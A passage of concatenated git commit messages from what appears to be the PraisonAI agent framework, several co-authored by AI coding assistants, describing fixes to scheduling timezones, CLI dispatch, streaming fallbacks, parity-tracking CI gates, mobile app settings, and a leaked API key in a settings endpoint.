parse_schedule now localises every `at` it produces -- explicit tz, else
PRAISONAI_SCHEDULE_TIMEZONE, else the system's local zone -- and stores an
aware ISO string. The local branch uses datetime.astimezone() on the naive
value so the offset is the one in force on that date rather than today's,
which the previous replace(tzinfo=now-offset) got wrong across a DST edge.
An explicit offset in the string is kept as written. The rule lives in one
helper, localize_wall_clock(), and is_due() applies the same helper to
legacy naive strings (old job files, hand-written config.yaml entries), with
the assumed zone documented at the call site.
Tests force the process zone with TZ + time.tzset() and cover Europe/London,
UTC and Asia/Kolkata so a UTC-stamping regression cannot hide behind GMT in
winter.
Closes#4691
Co-Authored-By: Claude Fable 5.1 <[email protected]>
Every resident command in praisonai_code.cli.app._LAZY_COMMANDS carried a
placeholder ".commands.<name>" module path naming a module that does not exist
in praisonai_code ("schedule" -> .commands.schedule after 66dcb788a, and 29
others). The dispatcher never read those paths: it hard-coded
f"praisonai.cli.commands.{name}" (and the bot/train/browser/mcp equivalents),
so the table lied without consequence -- until someone drops a name from a
resident set, at which point the fallback branch raises ModuleNotFoundError at
first use. Removing the entry is not an option: the table is the name registry
that both list_commands() and get_command() key on, so "schedule" would vanish
from --help and dispatch.
Resident entries now carry the absolute module path of the package that serves
them, and _resolve_command imports exactly module_path from the table after the
existing owning-package availability gate. The dispatch string for each command
is unchanged; there is simply one place that says where a command lives.
The test rewritten here imports every table entry the same way the dispatcher
does (skipping only entries whose owning package is not installed) and
separately asserts each resident entry points into its owning package -- that
second check fails for a placeholder path even in a standalone install where the
first would skip. An end-to-end check resolves "schedule" through the real
LazyCommandGroup when the wrapper is present.
Closes#4693
Co-Authored-By: Claude Fable 5.1 <[email protected]>
When the streaming transport raised, _start_stream_impl fell back to
self.chat(prompt, **kwargs) with the raw kwargs start() had handed it.
That fallback never worked for real callers: start() had already set
stream=True, so the sync adapter refused with "Streaming is not supported
in sync OpenAIAdapter"; and chat() has a fixed signature, so any sampling
knob such as max_tokens (which the desktop sends on every turn) raised
TypeError before a request was made. Because both except blocks fell
back, the failure surfaced to the user was the second TypeError with the
original streaming error buried two __context__ levels down.
The fallback now goes through _stream_fallback_chat, which builds the
call from the subset of kwargs chat() actually accepts (introspected, so
subclass overrides are honoured), forces stream=False, and if chat()
fails as well raises that failure chained from the original streaming
exception and marks it so the outer handler re-raises instead of running
the fallback a second time.
Closes#4719
Co-Authored-By: Claude Fable 5.1 <[email protected]>
The gate only tested 'never', so 'smart' fell through to the same prompt as
'ask' -- a setting accepted and ignored. Give it meaning: low-risk tools
(read_file, list_directory, current_time, web_search) pass without a card,
anything else still prompts. Unlisted tools are treated as high-risk so a
new tool is guarded by default.
Co-authored-by: MervinPraison <[email protected]>
The OpenAI streaming entry point (_start_stream_impl) built the outbound
message list and sent it to the provider without ever calling
_apply_context_management, so a long-running chat replayed its whole
transcript on every streamed turn until the provider rejected the request.
The non-streaming path already compacts at the same point.
Insert the existing _apply_context_management call between _build_messages
and the request, splitting the embedded system prompt out for accurate token
accounting. No new machinery; zero overhead when context_manager is None.
Co-authored-by: MervinPraison <[email protected]>
PR #4703 made both interactive surfaces (REPL and TUI) build their command
registry with include_skills=True, so installed skills finally show up when a
user types "/". But SkillCommandSource registered every discovered skill
unconditionally, so a skill marked "user-invocable: false" in its SKILL.md
frontmatter was offered in the menu and dispatched as /name -- contradicting
SkillManager.get_user_invocable_skills / invoke, which both treat that flag
as "model-only, never user-runnable". The menu and the agent disagreed about
what a person is allowed to run.
Skip such skills in SkillCommandSource.discover, mirroring the SkillManager
rule. A missing attribute (older SDK) still defaults to invocable.
The existing tests called create_default_registry directly, so they could not
notice if repl.py or async_tui.py stopped passing include_skills=True. The new
tests go through InteractiveREPL._get_registry and AsyncTUI._get_registry
themselves, assert the visible skill appears in completion, lookup and the
menu with its own description, and assert the user-invocable:false skill is
absent everywhere. PRAISONAI_HOME is pointed at a scratch dir so a developer's
own ~/.praisonai/skills cannot leak into the assertions.
Closes#4692
Co-Authored-By: Claude Fable 5.1 <[email protected]>
The OpenAI streaming path in chat_mixin built completion_args from four keys
only (model/messages/temperature/stream), so max_tokens and top_p passed to
Agent.start(stream=True) were silently dropped while temperature arrived. Read
both from kwargs, adding each only when present so an absent key stays absent
from the payload, and mirror on the custom-LLM branch.
Co-authored-by: MervinPraison <[email protected]>
* fix(parity): make the Python<->TS parity tracker a gate, and check signatures
The exported-name tracker only ever regenerated and auto-committed; its
--check mode could not pass off the GitHub runner (absolute paths in the
JSON), 26 of its last 30 commits changed only the date, `export *` barrels
were invisible, and a shim module written to satisfy name matching counted
as "done" for 56 features. Rust reported 162% parity beside 129 gaps.
Names layer (generator.py, typescript_extractor.py):
- repo-relative paths; lastUpdated preserved when content is unchanged
- export * resolution, camelCase fallback, TS alias table, one presence
rule shared by summary and gap matrix
- rows provided only by src/parity/index.ts are STUB, not DONE
- Rust status/percentage derived from the gap matrix
- personal fallback path replaced by _paths.find_repo_root (raises)
- Rust file scan sorted so output is stable across OSes
Signatures layer (new _dev/parity/signatures/):
- surface.yaml (10 curated surfaces), rules.yaml (case, aliases,
flattening, default equivalences), waivers.yaml (168 baseline entries)
- py_extract.py (AST only), ts_extract.mjs (TypeScript compiler API,
exit 2 when the compiler is missing, never an empty pass)
- compare.py: --write/--check/--diff/--baseline; fails on un-waived
drift, expired or stale waivers, or a run that compared nothing
- generates src/praisonai-ts/SIGNATURE_PARITY.md + signature-parity.json
CI:
- parity-gate.yml: two named PR jobs (names, signatures) that fail on drift
- update-parity-tracker.yml: fixed Rust path filter, added generator and
CLI feature paths; still regenerates on push to main
Tests: 19 -> 110, each behavioural test paired with a control.
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* feat(parity): flatten options-object members into method signatures; add --prune
A TS method that takes an options interface (chat(prompt, options?: AgentChatOptions))
now reports the interface members as parameters, with defaults read from
options.x ?? v in the body, so Python keyword arguments map one to one.
--prune removes waivers whose gap has been closed.
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* fix(parity): read LLM/tool ctor defaults; treat Python None as equivalent to an empty TS literal
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* fix(parity): waive tool().description default with its reason; regenerate report
Co-Authored-By: Claude Fable 5.1 <[email protected]>
---------
Co-authored-by: Claude Fable 5.1 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
Projects were a sidebar label the /chat route never read. Add a per-project
instructions store (projects.json), wire the previously-dead GET /projects to
report it plus a POST /projects to edit it, and have /chat prepend a chat's
project instructions to the turn (not the persisted prompt). Sidebar project
labels are now clickable to edit those instructions.
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
The desktop app's venv installed only praisonaiagents, so the documented
`praisonai agents.yaml` / `praisonai run <file>` CLI and the whole
multi-agent / workflow surface (AgentsGenerator, AgentTeam, AgentFlow) had
no binary inside the bundle. Add the `praisonai` wrapper to ENGINE_PACKAGES.
Co-authored-by: MervinPraison <[email protected]>
is_due() stamped naive one-shot 'at' timestamps as UTC, so in a non-UTC
zone a job typed from local wall-clock fired an hour (or more) off and
test_update_cadence_resets_last_run failed. Naive 'at' now resolves to the
schedule tz / PRAISONAI_SCHEDULE_TIMEZONE when set, else the local zone.
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
Every cron-kind schedule was accepted, persisted, and never ran. croniter was
declared in none of the nine pyproject.toml files, and is_due() answers False
for a cron job when it cannot import the engine -- a log line, no error at
creation, a job that never fires.
parse_schedule() converts every natural-language recurring form to cron, so
"every day at 9am" and "weekdays at 9am" -- the schedules people actually
write -- were in the broken half. Interval ("hourly") and one-shot ("in 20
minutes") never needed the engine and were fine, which is how this went
unnoticed: the simplest test cases passed.
Two changes, one per layer of the failure:
* croniter>=6.0 joins the core dependencies (pure Python; pulls only
python-dateutil), so a default install can evaluate what it accepts.
* parse_schedule() refuses a cron schedule when the engine is absent,
raising ValueError with the install hint. Both call sites route through
one helper. The failure moves from "silently at fire time" to "loudly at
creation", which is the only moment the user can act on it.
Tests assert the effect -- a daily job is due eight days after creation --
and pin the packaging by reading pyproject.toml, since packaging, not code,
was the defect. All four mutations killed: undeclaring the dependency, a guard
that never raises, and unguarding either call site on its own.
Not touched: test_update_cadence_resets_last_run fails on main independently
of this change, on any non-UTC machine -- naive `at` timestamps are stamped
UTC by is_due() while the test (and any user) means local time. Filed
separately.
Co-authored-by: Claude Fable 5.1 <[email protected]>
* fix: show installed skills in interactive / menu (fixes#4692)
Pass include_skills=True when building the command registry in both
interactive surfaces (REPL and TUI), so discovered skills appear in the
`/` completion menu and dispatch like custom commands.
Co-authored-by: MervinPraison <[email protected]>
* fix: make interactive skills runnable and discoverable in / menu
Skills were registered in the interactive command registry but had no
handler, so both dispatchers fell through to "Unknown command"; and the
completion menus were fed only built-ins, so skills never appeared after /.
- Give SkillCommandSource a handler that renders the SKILL.md body + args
into a prompt (mirrors CustomCommandSource), so /name actually runs.
- Feed discovered registry commands into the REPL completer (warmed at
startup) and the async TUI completer, so installed skills show after /.
- Add regression test asserting the skill handler yields a runnable prompt.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* test: guard lazy-command module paths in praisonai-code CLI (fixes#4693)
Add a regression test that imports every non-resident module named in
``_LAZY_COMMANDS`` (plus ``_SPECIAL_COMMANDS``) so a dangling ``.commands.*``
path fails in CI rather than at first use. Wrapper/bot/train/browser/mcp/
deploy-resident commands keep placeholder paths re-routed at invocation time
and are excluded, matching runtime dispatch.
Co-authored-by: MervinPraison <[email protected]>
* test: cover resident lazy-command re-routes (incl. schedule) in CLI guard
Adds a conditional resident-command test mirroring get_command()'s dispatch:
when the owning package (praisonai/praisonai_bot/train/browser/mcp/deploy) is
installed, it imports the absolute .cli.commands.<name> target and asserts the
attribute exists; it skips gracefully in standalone praisonai-code. This closes
the untested schedule -> praisonai.cli.commands.schedule re-route gap (#4693).
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
Co-authored-by: Mervin Praison <[email protected]>
* fix(mobile): a corrected engine address takes effect, and a refused one is said
The recovery path a phone depends on is: reach no 127.0.0.1:8765, open
Settings, type the engine's real address. #4685 (refs #4673) made the fields
editable, but the path still ended short of a working engine in two places:
1. The write persisted and the engine ignored it. `enginesFor` read `baseUrl`
once, at construction, and both the remote-http engine and its health probe
closed over that string. The app builds its engine exactly once at boot, so
the corrected address was stored, displayed, and never used until the app
was force-quit. `RemoteHttpOptions.baseUrl` now also accepts a resolver and
the registry passes one, so the NEXT message and the next probe go where the
user just said. A plain string still works; rebuilding the engine on change
was rejected because `createRunController` has no seam to swap it and would
drop the turn in flight.
2. A refused value vanished. `settings.set` returning false, or `validateInput`
returning null, reset the field in silence -- indistinguishable from a
mis-tap or a save that worked, on the one screen whose job is repair. The
refusal is now written beside the field (a `role="alert"` node that exists
from first paint, so it is announced reliably) and into the assertive live
region, naming the setting. Only that key's note is touched: an accepted
write clears its own message and leaves another setting's refusal standing.
Committing a field also moved out of a per-field `change` listener into
`intents.ts` as `set-setting` and a root-delegated `change` handler, like every
tap. Settings was the one affordance that bypassed `intentFrom`, so the
decisions (which key, what was typed, whether this element is a field at all)
could only be tested by synthesising DOM events. `Actionable.value` is absent
on non-fields on purpose: a missing value means "not a field", never "cleared".
The fake DOM gains a bubbling `change`, because a dispatch on the field alone
passes against a per-field listener and reports nothing against a delegated
one. Tests pin each link: the next /chat and /health go to the corrected
address without a relaunch, a refusal is shown and spoken, an accepted write
clears only its own note, and the decoder refuses a keyless or valueless
set-setting.
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* fix(mobile): pin a run's control requests to the engine that owns its id
A mid-turn address change redirected /cancel and /approve to the newly
typed address, but the runId/approvalId was minted by the engine the run
started at -- the new engine refuses a foreign id, and controller.ts only
aborts the local reader once cancel returns true, so the original turn kept
generating while the user believed they had stopped it. Pin each run's
origin base and route its control requests there, falling back to the live
resolver only for an id this instance never saw.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Fable 5.1 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix(parity): the drift gate was blind, and the tracker could not fail
Three agents audited how Python<->TypeScript parity is managed. The findings
below are each reproduced; the fixes are the ones that need no design
decision. What the tracker MEASURES is a separate problem, reported
separately.
THE ONE REAL DRIFT GATE NEVER FIRED ON DRIFT. `mobile.yml` runs
`check-upstream-parity`, which typechecks the real praisonai-ts `Agent`
against the structural contract in `agent-api.ts` -- the only mechanism in the
repo that fails a build on upstream signature change. Its path filter watched
`src/praisonai-mobile/**` only, so it fired when the CONSUMER changed and was
silent when the thing it watches did. Verified against 71197fa80, which edited
`src/praisonai-ts/src/agent/simple.ts`: no parity check ran on that commit. It
now watches `src/praisonai-ts/src/**` too.
`--check` FAILED ON EVERY MACHINE THAT IS NOT THE RUNNER. The generator
embedded `str(self.repo_root / ...)` in four places, so the committed JSON
carried `/home/runner/work/PraisonAI/...` and the field flipped between that
and `/Users/praison/...` across commits. Made repo-relative; `--check` now
exits 0 locally for the first time.
THE TRACKER COULD NOT REPORT FAILURE. Both extractors swallow their errors and
return empty, and every number downstream is a set difference -- so an
unparseable `__init__.py` produced `{'pythonCoreFeatures': 0, 'gapCount': 0}`
and exit 0. CI would have committed that as "no gaps". Zero exports is now
refused with a non-zero exit, and the trackers are left untouched. Three
existing fixtures built exactly that empty tree; they now declare one export,
because an empty tree was never a state worth generating from.
RUST REPORTED 162.3% PARITY, "PARITY_ACHIEVED", WITH 129 GAPS. `parityPercentage`
divided total Rust exports by Python's -- volume, not parity -- and the status
fired whenever the crate exported more names, however much was missing. The
`PARITY.md` from the same run said 69.8%. Now implemented/expected (68.6%) and
`PARITY_ACHIEVED` requires zero gaps.
RUST NEVER TRIGGERED EITHER WORKFLOW. Both filtered on
`src/praisonai-rust/src/**`, which does not exist -- the crate is at
`src/praisonai-rust/praisonai/src/`. The Rust numbers only refreshed
incidentally, on an unrelated push. Also added the generator's own inputs
(`_dev/parity/**`, `cli/features/**`), which it reads and neither workflow
watched.
`--check` IS NOW A GATE. It has existed since the script was written, exits 1
on staleness, and was invoked by nothing. A `pull_request` job runs it; the
committing job is restricted to `push`, since regenerating onto a
contributor's branch is not this workflow's business and would fail on a fork.
This checks STALENESS, not parity. What "DONE" means is unchanged and remains
what the tracker's own disclaimer says it is.
22 tests pass in test_parity_tracker.py, including three new ones covering the
refusal and its pair.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(parity): regenerate stale Rust tracker so the new --check gate passes
The committed Rust FEATURE_PARITY_TRACKER.json lagged the crate's current
module layout (ToolDefinition and AutoRagConfig had moved), so the very
staleness gate this PR introduces failed on HEAD. Regenerated from source;
status/percentage stay consistent (NEAR_PARITY, 68.6%).
Co-authored-by: Mervin Praison <[email protected]>
* fix(parity): the new --check gate needs pyyaml, like the push job
Its first run failed in 8s: `ModuleNotFoundError: No module named 'yaml'`.
The generator imports pyyaml; the committing job installs it and the new
checking job did not. Same step, copied.
Co-Authored-By: Claude Fable 5.1 <[email protected]>
---------
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
BackgroundJobManager had recovery logic (reconcile_on_start) and a store
Protocol but no production implementation, so /tasks and background subagents
were lost on every restart and the recovery path was unreachable.
Add a zero-dependency stdlib-sqlite3 SqliteBackgroundJobStore (mirrors
runs/sqlite_ledger.py and bus/event_log.py), persisting to
<runs_dir>/background_jobs.db. get_job_manager() now attaches it best-effort and
runs reconcile_on_start once so orphaned jobs are marked LOST rather than
silently dropped. Opt out via PRAISONAI_BACKGROUND_JOB_STORE=0.
Co-authored-by: MervinPraison <[email protected]>
The async jobs FastAPI service was only reachable via python -m or start_server(),
while its module docstring told users to run a non-existent `praisonai serve`.
- Register `praisonai serve jobs [--host] [--port 8005] [--db PATH]` in both the
typer command group and the legacy ServeHandler, delegating to start_server().
- --db sets PRAISONAI_JOBS_DB_PATH so jobs/idempotency keys persist across restarts.
- Correct jobs/__init__.py docstring to `praisonai serve jobs --port 8005`.
- Add tests: serve --help lists jobs, jobs exposes --port/--db, docstring parses.
Co-authored-by: MervinPraison <[email protected]>
* fix(mobile): make Settings editable so a phone can reach its engine (fixes#4673)
The device default is remote-http at http://127.0.0.1:8765, which a phone
cannot reach; it stays the default because the in-process engine's module is
absent from the shipping webview, so defaulting to it would swap a recoverable
warning for an unrecoverable "unavailable in this build". The one recovery the
remote default needs -- change baseUrl in Settings -- did not exist: every row
rendered as a read-only <span> and facade.set / validateInput had no caller.
buildSettingsScreen now renders value rows as <input>/<select> wired through the
existing pure validateInput to facade.set. A refused write resets the field to
the stored value. Secret rows stay presence-only. No new module, param, export,
or default.
Co-authored-by: Mervin Praison <[email protected]>
* fix(mobile): a failed settings write stays local, not a fatal crash
A settings edit persists through StoragePort, which rejects on a real
device (SecurityError with site data blocked, QuotaExceededError). The
fire-and-forget `void commit(...)` let that rejection float to the global
crash handler, replacing the whole app with the fatal screen -- and the
store had already committed the value to memory before persisting, so the
field showed an address the next launch would never read.
- settingControl.commit now catches a rejected `set` and resets the field
- store.set persists BEFORE mutating memory, rolling back on failure so a
refused write leaves no phantom value and marks no key chosen
- regression tests: a storage failure while editing stays local (main),
and a write whose persist fails rolls back and wakes nobody (store)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix: route bare model + base_url as OpenAI-compatible (fixes#4535)
A bare catalog model id (no provider/ prefix) with a custom base_url
(e.g. llm="deepseek-v4-flash", base_url=".../v1") caused LiteLLM to raise
"LLM Provider NOT provided". Prefix openai/ at request-build time so it
routes through the OpenAI-compatible client, leaving anthropic/gemini/
ollama models untouched.
Co-authored-by: Mervin Praison <[email protected]>
* fix: route bare model through openai/ when subscription base_url is set
Subscription auth providers (qwen-cli, codex) inject an OpenAI-compatible
base_url at request time. _resolve_openai_compatible_model() previously only
checked self.base_url, so a bare model under subscription auth reached LiteLLM
unprefixed and raised "LLM Provider NOT provided". Now consider the effective
base_url (instance or subscription-supplied). Addresses Greptile review.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
A defect I shipped in #4678. The check asked "did this bare import stay
external?" -- which is true of EVERY bare import, because the plugin in this
same file externalises them all on purpose so Node builtins surface in the
metafile instead of being silently shimmed.
So it reported installed, perfectly resolvable packages as unresolvable. It
passed only because the shipped bundle happens to have no bare imports at all,
and it would have blocked the first real dependency the app ever added.
Caught while testing `[email protected]`, published today with the `./mobile`
entry the in-process engine needs: the gate reported `praisonai/mobile`
unresolvable while `createRequire` resolved it to
node_modules/praisonai/dist/mobile.js.
It now asks the question it claims to ask -- can the specifier be RESOLVED
from the entry -- so an installed package passes and a missing one still
fails. Both directions are tested; the first version had only the failing one,
which is why the false positive went unnoticed.
The probe for the passing direction lives inside the package rather than a
temp directory, because resolution is relative to the entry: a temp-dir entry
has no node_modules above it, so everything looks missing and the test passes
for the wrong reason. That was the first draft, and it failed for exactly that
reason before being corrected.
Three mutations; two die. The third -- dropping the Node-builtin exemption --
is EQUIVALENT and now says so in the source: createRequire resolves builtins,
verified, so the line is intent rather than behaviour.
1327 tests on Node 22.23 and 24.12.
* fix(mobile): route the coalescer flush-tick publish through the gate (#4640, #4639)
The publish gate (core/src/pacing/publish-gate.ts) carried two mobile-tuned
constants (MAX_HELD_CHARS=96, UNPAINTED_REOPEN_MS=200) but was unreachable in
the shipping pipeline: the coalescer's flush tick drains every maxDelayMs, so
`coalescer.push()` in the run loop almost always returned [] and the per-event
gate was never consulted, while the tick's own publish was ungated. A module
with tuned constants that never runs reads as load-bearing (audit #4639).
Wire the tick publish through the gate. `gate()` is TRUE whenever the gate is
open, and it is open exactly when nothing has painted recently, so the tick
after a quiet period still paints immediately; the gate only skips a tick that
fires just after a paint, which is the backpressure path this pipeline lacked.
MAX_HELD_CHARS still forces the tail out and the final finally-publish stays
ungated, so no token is lost.
Pinned by a controller test: 40 ticks with no frame release produce a handful
of paints, not 40 (reverting to the ungated tick gives 45/40 and fails).
gaps.md updated in the same commit per its own close-it-here rule.
Co-authored-by: Mervin Praison <[email protected]>
* fix(mobile): release backpressure so a gate-rejected tick cannot strand text (#4687)
The flush tick drains the coalescer before the publish gate is consulted, so a
frame the gate rejects is already gone from the coalescer -- its text is on the
transcript but unpainted. If the stream then pauses, no later tick sees pending
text and gate reopening does not itself publish, leaving already-received text
invisible until the next delta or the final publish (Greptile P1).
Track how far the screen has actually painted (paintedChars) and, on a tick that
finds nothing new to drain, flush that stranded progress once the gate reopens.
Adds a regression test (positive control: fails 'hello ' vs 'hello world'
without the fix) and documents the catch-up in gaps.md.
typecheck ✓, boundaries ✓ (143 files), 1328 tests 0 failed (+1).
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* docs(examples): add meeting-notes agent example composed from existing primitives (#4622)
Demonstrates the AI meeting-notes pipeline (transcribe -> summarize ->
index for Q&A) using existing AudioAgent, Agent, and knowledge= RAG.
No new SDK surface added; keeps core lightweight per AGENTS.md.
Co-authored-by: Mervin Praison <[email protected]>
* fix(examples): print final Q&A result in meeting-notes agent
Greptile P1: qa.start() return was discarded so non-interactive/redirected
runs omitted the advertised Q&A output. Now printed explicitly.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix(mobile): the app could not reach an engine, type into itself, or parse on its own WebView floor
Three agents audited the package against one question -- what stops this being
an installable iOS/Android app. Every finding below was reproduced before it
was fixed, and every fix is re-run against the mutation that reverts it.
THE APP COULD NOT REACH ANY ENGINE. `connect-src 'self' ipc:
http://ipc.localhost` permitted no engine address at all, while `baseUrl` is a
user setting that accepts any host. Under Tauri the HttpPort is still browser
`fetch`, so a webview enforces connect-src on it: every request was blocked
before a packet left, including the shipped default. Proved by serving dist/
twice, once with the shipped CSP and once without -- "Refused to connect
because it violates the document's Content Security Policy". The desktop app
already carried the loopback entries; mobile also needs https:, because on a
phone the engine is across a network. script-src stays closed, and a test pins
that it does.
THE COMPOSER SAT UNDER THE KEYBOARD. `createTauriShell` had
`keyboardHeightPx = 0` whose only writer was the native `keyboard-height`
event -- and nothing emits it: `src-tauri/src/lib.rs`'s `on_window_event` is
an empty closure, left unwired until the mobile targets are initialised. Since
`app.css` pins `#root` to `position: fixed; inset: 0`, the layout viewport
does not shrink either, so the composer stayed under the keyboard from the
first tap. The WEB shell had this right all along and nothing compared the
two. It now seeds and tracks from `visualViewport`, reusing the web shell's
`readKeyboardHeight`, and the native event takes over the moment it exists --
one writer at a time, so they cannot race.
Found while testing it: the fake `visualViewport` had `addEventListener` and
no `removeEventListener`, so no adapter that unsubscribes could be exercised
there. The fake now models both.
THE BUNDLE COULD NOT PARSE ON THE FLOOR IT DECLARES. `TARGETS` said
`chrome108` while tauri.conf.json declares `minSdkVersion: 26` -- Android 8.0,
WebView ~Chrome 58 -- and the output carried optional chaining, nullish
coalescing and logical assignment. index.html loads it as a module, so that is
a parse error: the body never evaluates, and `installCrashHandler` is imported
by the same module so it never installs either. A blank white screen with no
error surface. Nothing linked the two numbers; they are derived now, and
tested against each other. Cost: 5.2kB of a 400kB budget.
EVERY SCREEN RENDERED AT ONCE. `.screen { display: flex }` is an author
declaration and beats the UA `[hidden] { display: none }`, so `el.hidden =
true` in mount.ts did nothing. Measured in headless Chrome: after tapping
Settings the chat screen was still on screen at half height with the settings
list stacked underneath, halving again on every navigation. ui/src/screens.ts
was correct throughout; only the stylesheet broke it.
THE COMPOSER'S SAFE AREA WAS COUNTED TWICE, and its gutter lost. `geometryOf`
already returns `max(keyboard, insets.bottom)` -- insets.ts calls the sum "the
single most recognisable 'web page in a box' tell there is" -- and app.css
added the inset back: measured 76px where 42px is correct. Separately main.ts
wrote `padding-inline` inline, beating the stylesheet's gutter, so at 320px
the textarea sat flush at x = 0 while everything else kept 12px.
THE GATE PASSED BUNDLES THAT CANNOT LOAD. `problems` was built from three
checks -- static Node builtins, top-level process.env, size -- so a bare
import esbuild could not RESOLVE was reported shippable. Bundling
praisonai-ts's own webview entry through it reported 80.5kB, 0 problems and
`shippable: true` while silently leaving out openai, ai, four @ai-sdk
packages, chalk, ora, boxen, figlet and cli-table3. That loads on a laptop
with node_modules beside it and dies on a phone.
CI HAD NEVER COMPILED FOR A PHONE. Both `rust shell` legs are host targets, so
`#[cfg_attr(mobile, tauri::mobile_entry_point)]` -- the attribute generating
the Android JNI and iOS start_app symbols -- expanded zero times. A
`cross-check` job now runs `cargo check --lib` for aarch64-linux-android and
aarch64-apple-ios. It needs no NDK and no Xcode project; verified locally at
24s for the android leg. The iOS leg cannot be verified here (Command Line
Tools only, no iOS SDK) and is proved by this PR's own CI.
AND THE SECOND RELEASE WOULD HAVE BEEN REJECTED. tauri.conf.json is hardcoded
at 0.1.0 with nothing to change it -- the same root cause as #4527, but worse
than a wrong label: Tauri derives Android versionCode and iOS CFBundleVersion
from it, and both stores refuse a repeat. tools/set-release-version.mjs takes
the tag and a monotonic build number, following the single-source rule the
desktop package settled on.
Also: Cargo.lock is committed (this is an application; `tauri = "2"` resolved
independently on every machine), @tauri-apps/cli is a devDependency so a
mobile build can be attempted at all, and the generated mobile ACL schemas
land beside the desktop ones.
1326 tests on Node 22.23 and 24.12; cargo test green; cargo check green for
aarch64-linux-android.
Refs #4673, #4640
* fix(mobile): sync package-lock.json with the @tauri-apps/cli devDependency
CI failed in 11-21s across four jobs: adding the dependency to package.json
without regenerating the lockfile makes `npm ci` refuse, and every job starts
with it.
Reproduced locally by running `npm ci` against a copy of the two files, and
verified fixed the same way -- 7 packages added.
The lockfile was updated with --package-lock-only so node_modules was not
touched; this worktree symlinks another one's.
* fix(mobile): sync lock file for @tauri-apps/cli; build floor-parse check in-memory
All 7 CI jobs failed at `npm ci` because package.json added @tauri-apps/cli
but package-lock.json was never regenerated (EUSAGE, lock out of sync).
Regenerated the lock file so `npm ci` is in sync across check, rust shell,
cross-check, and upstream-parity legs.
Separately, tools/bundle-target.test.mjs's "shipped bundle" assertion read a
pre-built dist/app.js, but the `check` job runs `npm test` without a prior
`npm run build`, so it would fail once the lock file was fixed. Build the same
entry in-memory through the same bundle() at the same TARGETS instead -- same
output, no build-order dependency.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-Authored-By: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
CodeRabbit's docstring-coverage pre-merge check reported 50% against an 80%
threshold, scoped to the functions this diff touches.
Each test now carries a docstring saying why it exists rather than restating
its name — what breaks if the assertion stops holding. Three explanatory
comments that were already there moved into the docstrings, which is where
they belonged.
No behaviour change; the 11 guard tests still pass and the full
tests/unit/compaction/ selection is unchanged at 108 passed with the same 3
pre-existing failures.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_014ZfTXTzdudKb4oswNSHpHw
_reload() adopted any persisted run whose pid was merely alive. src-tauri/src/
adopt.rs already refuses that for the engine -- it compares `start_time` and
names the rejection `PidReused` -- but nothing guarded the training job, so the
same recycled pid the Rust shell rejects was adopted here.
_pid_alive's docstring put the cost at "one adopted-then-reaped run". Nothing
reaps an adopted run: it carries no _proc and no supervisor, so
* it stays RUNNING forever and start() refuses to launch anything while a
live run exists -- fine-tuning is wedged shut until someone finds and
deletes the state file by hand, and
* stop() takes the `proc is None and run.pid` branch and SIGTERMs the process
group of whatever unrelated program now holds that pid.
Runs now record the child's start time beside its pid, captured at spawn while
the child is certainly still ours, and adoption requires both to match. A state
file with no fingerprint (written before this change) is refused: ownership
cannot be proven, and the penalty for guessing wrong is signalling a stranger.
Tested against real recycled pids rather than a mock liveness function. All six
mutations are killed, including _persist dropping the field -- which the first
draft of the tests missed, because they hand-wrote the state file and so would
have stayed green while adoption failed closed forever.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
GET /settings has masked the key since the beginning. POST /settings replied
with save_settings()'s merged dict, and that dict starts from load_settings(),
which reads the real secret back out of the keychain -- so every settings write
answered with the credential in cleartext, including a write that only changed
the theme and never mentioned the key. The engine also sends
`Access-Control-Allow-Origin: *`, so any page open in the user's browser could
read it with a two-line fetch.
Masking one of two exits is not masking. redacted() is applied at both, and is
driven by SECRET_KEYS so a future secret is covered without new code. What is
stored is unchanged; only what leaves the process differs.
The tests assert the effect -- the secret must be absent from the response
bytes -- rather than the shape of the dict, because the dict was correct and
was simply the wrong dict. Reverting either call site turns them red (4/4
